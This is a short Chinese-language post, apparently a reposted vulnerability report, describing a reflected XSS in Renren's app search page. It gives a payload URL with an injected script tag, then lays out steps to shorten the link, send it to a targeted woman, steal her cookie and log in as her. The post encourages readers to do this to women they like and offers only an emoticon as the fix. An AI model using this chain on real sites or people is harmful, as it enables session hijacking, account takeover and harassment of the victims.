一个反射型xss跨人人网的妹子 - 网站安全 - 自学

屌丝们，行动起来，去跨你们心爱的妹子吧~ 详细说明：1.随便找个反射型xss：

http://app.renren测试数据/search?selected=3&app_ref=search&origin=603&keyword="><script>alert(/xss/)</script > 2.弄成短地址发给妹子，这个好像是被内容审核的妹子点了 3.获取cookie

 

4.利用cookie登陆

   

修复方案： `(*∩_∩*)′  

查看更多关于一个反射型xss跨人人网的妹子 - 网站安全 - 自学的详细内容...